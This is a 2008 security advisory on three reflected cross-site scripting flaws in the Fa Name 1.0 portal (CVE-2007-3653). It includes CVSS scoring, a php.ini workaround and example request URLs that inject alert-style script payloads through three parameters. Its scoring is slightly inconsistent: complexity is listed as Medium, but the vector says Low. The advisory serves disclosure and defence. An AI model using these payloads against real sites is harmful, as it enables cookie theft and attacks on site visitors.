netVigilance Security Advisory 43

Fa Name version 1.0 Multiple XSS Attack Vulnerabilities

Description:
Fa Name is a useful portal (CMS) for .name websites. You can have a simple portal but useful one for you domain names and by using this portal you can show your complete information like photo, identification, projects and history to the others.

Successful exploitation requires PHP magic_quotes_gpc set to Off on the server for the first vulnerability and register_globals set to On for the third.

External References:
Mitre CVE: CVE-2007-3653
NVD NIST: CVE-2007-3653


Summary:
Fa Name is a useful portal (CMS) for .name websites.

Security problem in the product allows attackers to conduct XSS attacks.

Release Date:
June 30 2008

Severity:

Access Vector: Network
Access Complexity: Medium
Authentication: None

Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: None

Exploitability: Functional
Remediation Level: Workaround
Report Confidence: Uncorroborated

Base Vector: "AV:N/AC:L/Au:N/C:N/I:P/A:N"
Temporal Vector: "E:F/RL:W/RC:UR"

CVSS Base Score: 4.3
CVSS Impact Subscore: 2.9
CVSS Exploitability Subscore: 8.6
CVSS Temporal Score: 3.7


SecureScout Testcase ID:
TC 17973

Vulnerable Systems:
Fa Name version 1.0

Vulnerability Type:
XSS (Cross-Site Scripting) to force a web-site to display malicious contents to the target, by sending a specially crafted request to the web-site. The vulnerable web-site is not the target of attack but is used as a tool for the hacker in the attack of the victim (visitor to attached vulnerable website).

Vendor:
FaScript

Vendor Status:
The Vendor has been notified.

Workaround:
In the php.ini file set register_globals = Off or/and magic_quotes_gpc = On.

Example:

XSS Attack Vulnerability 1:
REQUEST:
http://[TARGET]/[FANAME-DIRECTORY]/index.php?key="><script>alert(document.cookies)</script>
REPLY:
will execute <script>alert(document.cookie)</script>.

XSS Attack Vulnerability 2:
REQUEST:
http://[TARGET]/[FANAME-DIRECTORY]/index.php?desc="><script>alert(document.cookies)</script>
REPLY:
will execute <script>alert(document.cookie)</script>.

XSS Attack Vulnerability 3:
REQUEST:
http://[TARGET]/[FANAME-DIRECTORY]/page.php?name=<script>alert(document.cookies)</script>
REPLY:
will execute <script>alert(document.cookie)</script>.